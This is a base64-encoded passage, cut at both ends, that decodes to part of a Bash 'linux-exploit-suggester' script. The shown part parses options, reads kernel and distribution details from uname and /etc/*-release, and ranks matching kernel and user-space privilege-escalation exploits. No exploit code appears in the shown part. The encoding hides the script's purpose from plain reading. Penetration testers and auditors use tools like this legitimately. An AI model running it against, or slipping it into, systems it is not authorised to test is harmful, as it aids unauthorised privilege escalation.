wIF07IHRoZW4KCSAgICBzdGF0ZT0kdW5rbm93bgogICAgZWxpZiBbICRBVkFJTEFCTEVfUEFTU0VEX1JFUSAtZXEgJEFWQUlMQUJMRV9SRVFTX05VTSAtYSAkRU5BQkxFX1BBU1NFRF9SRVEgLWVxICRFTkFCTEVfUkVRU19OVU0gXTsgdGhlbgogICAgICAgIHN0YXRlPSRlbmFibGVkCiAgICBlbHNlCiAgICAgICAgc3RhdGU9JGRpc2FibGVkCglmaQoKICAgIGZpCgogICAgZWNobyAtZSAiICRzdGF0ZSAkZmVhdHVyZSAke3dodH0ke0NPTkZJR30ke3R4dHJzdH0iCiAgICBbIC1uICIkYW5hbHlzaXNfdXJsIiBdICYmIGVjaG8gLWUgIiAgICAgICAgICAgICAgJGFuYWx5c2lzX3VybCIKICAgIGVjaG8KCmRvbmUKCn0KCmRpc3BsYXlFeHBvc3VyZSgpIHsKICAgIFJBTks9JDEKCiAgICBpZiBbICIkUkFOSyIgLWdlIDYgXTsgdGhlbgogICAgICAgIGVjaG8gImhpZ2hseSBwcm9iYWJsZSIKICAgIGVsaWYgWyAiJFJBTksiIC1nZSAzIF07IHRoZW4KICAgICAgICBlY2hvICJwcm9iYWJsZSIKICAgIGVsc2UKICAgICAgICBlY2hvICJsZXNzIHByb2JhYmxlIgogICAgZmkKfQoKIyBwYXJzZSBjb21tYW5kIGxpbmUgcGFyYW1ldGVycwpBUkdTPSQoZ2V0b3B0IC0tb3B0aW9ucyAkU0hPUlRPUFRTICAtLWxvbmdvcHRpb25zICRMT05HT1BUUyAtLSAiJEAiKQpbICQ/ICE9IDAgXSAmJiBleGl0V2l0aEVyck1zZyAiQWJvcnRpbmcuIgoKZXZhbCBzZXQgLS0gIiRBUkdTIgoKd2hpbGUgdHJ1ZTsgZG8KICAgIGNhc2UgIiQxIiBpbgogICAgICAgIC11fC0tdW5hbWUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIFVOQU1FX0E9IiQxIgogICAgICAgICAgICBvcHRfdW5hbWVfc3RyaW5nPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtVnwtLXZlcnNpb24pCiAgICAgICAgICAgIHZlcnNpb24KICAgICAgICAgICAgZXhpdCAwCiAgICAgICAgICAgIDs7CiAgICAgICAgLWh8LS1oZWxwKQogICAgICAgICAgICB1c2FnZSAKICAgICAgICAgICAgZXhpdCAwCiAgICAgICAgICAgIDs7CiAgICAgICAgLWZ8LS1mdWxsKQogICAgICAgICAgICBvcHRfZnVsbD10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWd8LS1zaG9ydCkKICAgICAgICAgICAgb3B0X3N1bW1hcnk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1ifC0tZmV0Y2gtYmluYXJpZXMpCiAgICAgICAgICAgIG9wdF9mZXRjaF9iaW5zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtc3wtLWZldGNoLXNvdXJjZXMpCiAgICAgICAgICAgIG9wdF9mZXRjaF9zcmNzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAta3wtLWtlcm5lbCkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgS0VSTkVMPSIkMSIKICAgICAgICAgICAgb3B0X2tlcm5lbF92ZXJzaW9uPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtZHwtLXNob3ctZG9zKQogICAgICAgICAgICBvcHRfc2hvd19kb3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1wfC0tcGtnbGlzdC1maWxlKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBQS0dMSVNUX0ZJTEU9IiQxIgogICAgICAgICAgICBvcHRfcGtnbGlzdF9maWxlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWN2ZWxpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgQ1ZFTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X2N2ZWxpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jaGVja3NlYykKICAgICAgICAgICAgb3B0X2NoZWNrc2VjX21vZGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0ta2VybmVsc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X2tlcm5lbF9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXVzZXJzcGFjZS1vbmx5KQogICAgICAgICAgICBvcHRfdXNlcnNwYWNlX29ubHk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tc2tpcC1wa2ctdmVyc2lvbnMpCiAgICAgICAgICAgIG9wdF9za2lwX3BrZ192ZXJzaW9ucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgaWYgWyAiJCMiICE9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiVW5rbm93biBvcHRpb24gJyQxJy4gQWJvcnRpbmcuIgogICAgICAgICAgICBmaQogICAgICAgICAgICBicmVhawogICAgICAgICAgICA7OwogICAgZXNhYwogICAgc2hpZnQKZG9uZQoKIyBjaGVjayBCYXNoIHZlcnNpb24gKGFzc29jaWF0aXZlIGFycmF5cyBuZWVkIEJhc2ggaW4gdmVyc2lvbiA0LjArKQppZiAoKEJBU0hfVkVSU0lORk9bMF0gPCA0KSk7IHRoZW4KICAgIGV4aXRXaXRoRXJyTXNnICJTY3JpcHQgbmVlZHMgQmFzaCBpbiB2ZXJzaW9uIDQuMCBvciBuZXdlci4gQWJvcnRpbmcuIgpmaQoKIyBleGl0IGlmIGJvdGggLS1rZXJuZWwgYW5kIC0tdW5hbWUgYXJlIHNldApbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIFsgJG9wdF91bmFtZV9zdHJpbmcgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLWt8LS1rZXJuZWwgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyBleGl0IGlmIGJvdGggLS1mdWxsIGFuZCAtLXNob3J0IGFyZSBzZXQKWyAiJG9wdF9mdWxsIiA9ICJ0cnVlIiBdICYmIFsgJG9wdF9zdW1tYXJ5ID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1mfC0tZnVsbCBhbmQgLWd8LS1zaG9ydCBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCgojIC0tY3ZlbGlzdC1maWxlIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWNoZWNrc2VjIHN3aXRjaGVzIGFyZSBzZXQKaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KICAgIFsgISAtZSAiJENWRUxJU1RfRklMRSIgXSAmJiBleGl0V2l0aEVyck1zZyAiUHJvdmlkZWQgQ1ZFIGxpc3QgZmlsZSBkb2VzIG5vdCBleGlzdHMuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1rfC0ta2VybmVsIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCmZpCgojIC0tY2hlY2tzZWMgbW9kZSBpcyBzdGFuZGFsb25lIG1vZGUgYW5kIGlzIG5vdCBhcHBsaWNhYmxlIHdoZW4gb25lIG9mIC1rIHwgLXUgfCAtcCB8IC0tY3ZlbGlzdC1maWxlIHN3aXRjaGVzIGFyZSBzZXQKaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXB8LS1wa2dsaXN0LWZpbGUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyBleHRyYWN0IGtlcm5lbCB2ZXJzaW9uIGFuZCBvdGhlciBPUyBpbmZvIGxpa2UgZGlzdHJvIG5hbWUsIGRpc3RybyB2ZXJzaW9uLCBldGMuIDMgcG9zc2liaWxpdGllcyBoZXJlOgojIGNhc2UgMTogLS1rZXJuZWwgc2V0CmlmIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID09ICJ0cnVlIiBdOyB0aGVuCiAgICAjIFRPRE86IGFkZCBrZXJuZWwgdmVyc2lvbiBudW1iZXIgdmFsaWRhdGlvbgogICAgWyAteiAiJEtFUk5FTCIgXSAmJiBleGl0V2l0aEVyck1zZyAiVW5yZWNvZ25pemVkIGtlcm5lbCB2ZXJzaW9uIGdpdmVuLiBBYm9ydGluZy4iCiAgICBBUkNIPSIiCiAgICBPUz0iIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAyOiAtLXVuYW1lIHNldAplbGlmIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgcGFyc2VVbmFtZSAiJFVOQU1FX0EiCgogICAgIyBkbyBub3QgcGVyZm9ybSBhZGRpdGlvbmFsIGNoZWNrcyBvbiBjdXJyZW50IG1hY2hpbmUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKCiAgICAjIGRvIG5vdCBjb25zaWRlciBjdXJyZW50IE9TCiAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKIyBjYXNlIDM6IC0tY3ZlbGlzdC1maWxlIG1vZGUKZWxpZiBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXTsgdGhlbgoKICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBnZXRLZXJuZWxDb25maWcKCiMgY2FzZSA0OiAtLWNoZWNrc2VjIG1vZGUKZWxpZiBbICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIHRoaXMgc3dpdGNoIGlzIG5vdCBhcHBsaWNhYmxlIGluIHRoaXMgbW9kZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9ZmFsc2UKCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIGdldEtlcm5lbENvbmZpZwogICAgWyAteiAiJEtDT05GSUciIF0gJiYgZWNobyAiV0FSTklORy4gS2VybmVsIENvbmZpZyBub3QgZm91bmQgb24gdGhlIHN5c3RlbSByZXN1bHRzIHdvbid0IGJlIGNvbXBsZXRlLiIKCiAgICAjIGxhdW5jaCBjaGVja3NlYyBtb2RlCiAgICBjaGVja3NlY01vZGUKCiAgICBleGl0IDAKCiMgY2FzZSA1OiBubyAtLXVuYW1lIHwgLS1rZXJuZWwgfCAtLWN2ZWxpc3QtZmlsZSB8IC0tY2hlY2tzZWMgc2V0CmVsc2UKCiAgICAjIC0tcGtnbGlzdC1maWxlIE5PVCBwcm92aWRlZDogdGFrZSBhbGwgaW5mbyBmcm9tIGN1cnJlbnQgbWFjaGluZQogICAgIyBjYXNlIGZvciB2YW5pbGxhIGV4ZWN1dGlvbjogLi9saW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaAogICAgaWYgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID09ICJmYWxzZSIgXTsgdGhlbgogICAgICAgIFVOQU1FX0E9JCh1bmFtZSAtYSkKICAgICAgICBbIC16ICIkVU5BTUVfQSIgXSAmJiBleGl0V2l0aEVyck1zZyAidW5hbWUgc3RyaW5nIGVtcHR5LiBBYm9ydGluZy4iCiAgICAgICAgcGFyc2VVbmFtZSAiJFVOQU1FX0EiCgogICAgICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgogICAgICAgICMgZXh0cmFjdCBkaXN0cmlidXRpb24gdmVyc2lvbiBmcm9tIC9ldGMvb3MtcmVsZWFzZSBPUiAvZXRjL2xzYi1yZWxlYXNlCiAgICAgICAgWyAtbiAiJE9TIiAtYSAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBESVNUUk89JChncmVwIC1zIC1FICdeRElTVFJJQl9SRUxFQVNFPXxeVkVSU0lPTl9JRD0nIC9ldGMvKi1yZWxlYXNlIHwgY3V0IC1kJz0nIC1mMiB8IGhlYWQgLTEgfCB0ciAtZCAnIicpCgogICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIGxpc3RpbmcgZnJvbSBjdXJyZW50IE9TCiAgICAgICAgZ2V0UGtnTGlzdCAiJE9TIiAiIgoKICAgICMgLS1wa2dsaXN0LWZpbGUgcHJvdmlkZWQ6IG9ubHkgY29uc2lkZXIgdXNlcnNwYWNlIGV4cGxvaXRzIGFnYWluc3QgcHJvdmlkZWQgcGFja2FnZSBsaXN0aW5nCiAgICBlbHNlCiAgICAgICAgS0VSTkVMPSIiCiAgICAgICAgI1RPRE86IGV4dHJhY3QgbWFjaGluZSBhcmNoIGZyb20gcGFja2FnZSBsaXN0aW5nCiAgICAgICAgQVJDSD0iIgogICAgICAgIHVuc2V0IEVYUExPSVRTCiAgICAgICAgZGVjbGFyZSAtQSBFWFBMT0lUUwogICAgICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgogICAgICAgICMgYWRkaXRpb25hbCBjaGVja3MgYXJlIG5vdCBhcHBsaWNhYmxlIGZvciB0aGlzIG1vZGUKICAgICAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCiAgICBmaQpmaQoKZWNobwplY2hvIC1lICIke2JsZHdodH1BdmFpbGFibGUgaW5mb3JtYXRpb246JHt0eHRyc3R9IgplY2hvClsgLW4gIiRLRVJORUwiIF0gJiYgZWNobyAtZSAiS2VybmVsIHZlcnNpb246ICR7dHh0Z3JufSRLRVJORUwke3R4dHJzdH0iIHx8IGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dHJlZH1OL0Eke3R4dHJzdH0iCmVjaG8gIkFyY2hpdGVjdHVyZTogJChbIC1uICIkQVJDSCIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kQVJDSCR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gIkRpc3RyaWJ1dGlvbjogJChbIC1uICIkT1MiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JE9TJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKZWNobyAtZSAiRGlzdHJpYnV0aW9uIHZlcnNpb246ICQoWyAtbiAiJERJU1RSTyIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kRElTVFJPJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmVjaG8gIkFkZGl0aW9uYWwgY2hlY2tzIChDT05GSUdfKiwgc3lzY3RsIGVudHJpZXMsIGN1c3RvbSBCYXNoIGNvbW1hbmRzKTogJChbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID09ICJmYWxzZSIgXSAmJiBlY2hvIC1lICIke3R4dGdybn1wZXJmb3JtZWQke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgoKaWYgWyAtbiAiJFBLR0xJU1RfRklMRSIgLWEgLW4gIiRQS0dfTElTVCIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0Z3JufSRQS0dMSVNUX0ZJTEUke3R4dHJzdH0iCmVsaWYgWyAtbiAiJFBLR0xJU1RfRklMRSIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0cmVkfXVucmVjb2duaXplZCBmaWxlIHByb3ZpZGVkJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dfTElTVCIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0Z3JufWZyb20gY3VycmVudCBPUyR7dHh0cnN0fSIKZmkKCmVjaG8gLWUgIlBhY2thZ2UgbGlzdGluZzogJChbIC1uICIkcGtnTGlzdEZpbGUiIF0gJiYgZWNobyAtZSAiJHBrZ0xpc3RGaWxlIiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCiMgaGFuZGxlIC0ta2VybmVsc3BhY3ktb25seSAmIC0tdXNlcnNwYWNlLW9ubHkgZmlsdGVyIG9wdGlvbnMKaWYgWyAiJG9wdF9rZXJuZWxfb25seSIgPSAidHJ1ZSIgLW8gLXogIiRQS0dfTElTVCIgXTsgdGhlbgogICAgdW5zZXQgRVhQTE9JVFNfVVNFUlNQQUNFCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTX1VTRVJTUEFDRQpmaQoKaWYgWyAiJG9wdF91c2Vyc3BhY2Vfb25seSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgdW5zZXQgRVhQTE9JVFMKICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9U2VhcmNoaW5nIGFtb25nOiR7dHh0cnN0fSIKZWNobwplY2hvICIkeyNFWFBMT0lUU1tAXX0ga2VybmVsIHNwYWNlIGV4cGxvaXRzIgplY2hvICIkeyNFWFBMT0lUU19VU0VSU1BBQ0VbQF19IHVzZXIgc3BhY2UgZXhwbG9pdHMiCmVjaG8KCmVjaG8gLWUgIiR7Ymxkd2h0fVBvc3NpYmxlIEV4cGxvaXRzOiR7dHh0cnN0fSIKZWNobwoKIyBzdGFydCBhbmFseXNpcwpqPTAKZm9yIEVYUCBpbiAiJHtFWFBMT0lUU1tAXX0iICIke0VYUExPSVRTX1VTRVJTUEFDRVtAXX0iOyBkbwoKICAgICMgY3JlYXRlIGFycmF5IGZyb20gY3VycmVudCBleHBsb2l0IGhlcmUgZG9jIGFuZCBmZXRjaCBuZWVkZWQgbGluZXMKICAgIGk9MAogICAgIyAoJy1yJyBpcyB1c2VkIHRvIG5vdCBpbnRlcnByZXQgYmFja3NsYXNoIHVzZWQgZm9yIGJhc2ggY29sb3JzKQogICAgd2hpbGUgcmVhZCAtciBsaW5lCiAgICBkbwogICAgICAgIGFycltpXT0iJGxpbmUiCiAgICAgICAgaT0kKChpICsgMSkpCiAgICBkb25lIDw8PCAiJEVYUCIKCiAgICBOQU1FPSIke2FyclswXX0iICYmIE5BTUU9IiR7TkFNRTo2fSIKICAgIFJFUVM9IiR7YXJyWzFdfSIgJiYgUkVRUz0iJHtSRVFTOjZ9IgogICAgVEFHUz0iJHthcnJbMl19IiAmJiBUQUdTPSIke1RBR1M6Nn0iCiAgICBSQU5LPSIke2FyclszXX0iICYmIFJBTks9IiR7UkFOSzo2fSIKCiAgICAjIHNwbGl0IGxpbmUgd2l0aCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkUkVRUyIKICAgIFJFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgUEFTU0VEX1JFUT0wCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCiAgICAgICAgaWYgKGNoZWNrUmVxdWlyZW1lbnQgIiRSRVEiICIke2FycmF5WzBdfSIpOyB0aGVuCiAgICAgICAgICAgIFBBU1NFRF9SRVE9JCgoJFBBU1NFRF9SRVEgKyAxKSkKICAgICAgICBlbHNlCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZmkKICAgIGRvbmUKCiAgICAjIGV4ZWN1dGUgZm9yIGV4cGxvaXRzIHdpdGggYWxsIHJlcXVpcmVtZW50cyBtZXQKICAgIGlmIFsgJFBBU1NFRF9SRVEgLWVxICRSRVFTX05VTSBdOyB0aGVuCgogICAgICAgICMgYWRkaXRpb25hbCByZXF1aXJlbWVudCBmb3IgLS1jdmVsaXN0LWZpbGUgbW9kZTogY2hlY2sgaWYgQ1ZFIGFzc29jaWF0ZWQgd2l0aCB0aGUgZXhwbG9pdCBpcyBvbiB0aGUgQ1ZFTElTVF9GSUxFCiAgICAgICAgaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZXh0cmFjdCBDVkUocykgYXNzb2NpYXRlZCB3aXRoIGdpdmVuIGV4cGxvaXQgKGFsc28gdHJhbnNsYXRlcyAnLCcgdG8gJ3wnIGZvciBlYXN5IGhhbmRsaW5nIG11bHRpcGxlIENWRXMgY2FzZSAtIHZpYSBleHRlbmRlZCByZWdleCkKICAgICAgICAgICAgY3ZlPSQoZWNobyAiJE5BTUUiIHwgZ3JlcCAnLipcWy4qXF0uKicgfCBjdXQgLWQgJ20nIC1mMiB8IGN1dCAtZCAnXScgLWYxIHwgdHIgLWQgJ1snIHwgdHIgIiwiICJ8IikKICAgICAgICAgICAgI2VjaG8gIkNWRTogJGN2ZSIKCiAgICAgICAgICAgICMgY2hlY2sgaWYgaXQncyBvbiBDVkVMSVNUX0ZJTEUgbGlzdCwgaWYgbm8gbW92ZSB0byBuZXh0IGV4cGxvaXQKICAgICAgICAgICAgWyAhICQoY2F0ICIkQ1ZFTElTVF9GSUxFIiB8IGdyZXAgLUUgIiRjdmUiKSBdICYmIGNvbnRpbnVlCiAgICAgICAgZmkKCiAgICAgICAgIyBwcm9jZXNzIHRhZ3MgYW5kIGhpZ2hsaWdodCB0aG9zZSB0aGF0IG1hdGNoIGN1cnJlbnQgT1MgKG9ubHkgZm9yIGRlYnx1YnVudHV8UkhFTCBhbmQgaWYgd2Uga25vdyBkaXN0cm8gdmVyc2lvbiAtIGRpcmVjdCBtb2RlKQogICAgICAgIHRhZ3M9IiIKICAgICAgICBpZiBbIC1uICIkVEFHUyIgLWEgLW4gIiRPUyIgXTsgdGhlbgogICAgICAgICAgICBJRlM9JywnIHJlYWQgLXIgLWEgdGFnc19hcnJheSA8PDwgIiRUQUdTIgogICAgICAgICAgICBUQUdTX05VTT0keyN0YWdzX2FycmF5W0BdfQoKICAgICAgICAgICAgIyBidW1wIFJBTksgc2xpZ2h0bHkgKCsxKSBpZiB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBhbmQgdGhlcmUncyBhIFRBRyBmb3IgT1MgZnJvbSB1bmFtZSBzdHJpbmcKICAgICAgICAgICAgWyAiJChlY2hvICIke3RhZ3NfYXJyYXlbQF19IiB8IGdyZXAgIiRPUyIpIiAtYSAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiBdICYmIFJBTks9JCgoJFJBTksgKyAxKSkKCiAgICAgICAgICAgIGZvciBUQUcgaW4gIiR7dGFnc19hcnJheVtAXX0iOyBkbwogICAgICAgICAgICAgICAgdGFnX2Rpc3Rybz0kKGVjaG8gIiRUQUciIHwgY3V0IC1kJz0nIC1mMSkKICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtX2FsbD0kKGVjaG8gIiRUQUciIHwgY3V0IC1kJz0nIC1mMikKICAgICAgICAgICAgICAgICMgaW4gY2FzZSBvZiB0YWcgb2YgZm9ybTogJ3VidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjF9IHJlbW92ZSBrZXJuZWwgdmVyc2lvbmluZyBwYXJ0IGZvciBjb21wYXJpc2lvbgogICAgICAgICAgICAgICAgdGFnX2Rpc3Ryb19udW09IiR7dGFnX2Rpc3Ryb19udW1fYWxsJXsqfSIKCiAgICAgICAgICAgICAgICAjIHdlJ3JlIGluICctLXVuYW1lJyBtb2RlIE9SIChmb3Igbm9ybWFsIG1vZGUpIGlmIHRoZXJlIGlzIGRpc3RybyB2ZXJzaW9uIG1hdGNoCiAgICAgICAgICAgICAgICBpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIC1vIFwoICIkT1MiID09ICIkdGFnX2Rpc3RybyIgLWEgIiQoZWNobyAiJERJU1RSTyIgfCBncmVwIC1FICIkdGFnX2Rpc3Ryb19udW0iKSIgXCkgXTsgdGhlbgoKICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBieSAyIGZvciBkaXN0cm8gbWF0Y2ggKGFuZCBub3QgaW4gJy0tdW5hbWUnIG1vZGUpCiAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMikpCgogICAgICAgICAgICAgICAgICAgICMgZ2V0IG5hbWUgKGtlcm5lbCBvciBwYWNrYWdlIG5hbWUpIGFuZCB2ZXJzaW9uIG9mIGtlcm5lbC9wa2cgaWYgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZz0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMSkKICAgICAgICAgICAgICAgICAgICB0YWdfcGtnX251bT0iIgogICAgICAgICAgICAgICAgICAgIFsgJChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGdyZXAgJ3snKSBdICYmIHRhZ19wa2dfbnVtPSQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBjdXQgLWQneycgLWYgMiB8IHRyIC1kICd9JyB8IGN1dCAtZCc6JyAtZiAyKQoKICAgICAgICAgICAgICAgICAgICAjWyAtbiAiJHRhZ19wa2dfbnVtIiBdICYmIGVjaG8gInRhZ19wa2dfbnVtOiAkdGFnX3BrZ19udW07IGtlcm5lbDogJEtFUk5FTF9BTEwiCgogICAgICAgICAgICAgICAgICAgICMgaWYgcGtnL2tlcm5lbCB2ZXJzaW9uIGlzIG5vdCBwcm92aWRlZDoKICAgICAgICAgICAgICAgICAgICBpZiBbIC16ICIkdGFnX3BrZ19udW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAiJHRhZ19wa2ciID0gImtlcm5lbCIgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBpZiBbICQoZWNobyAiJEtFUk5FTF9BTEwiIHwgZ3JlcCAtRSAiJHt0YWdf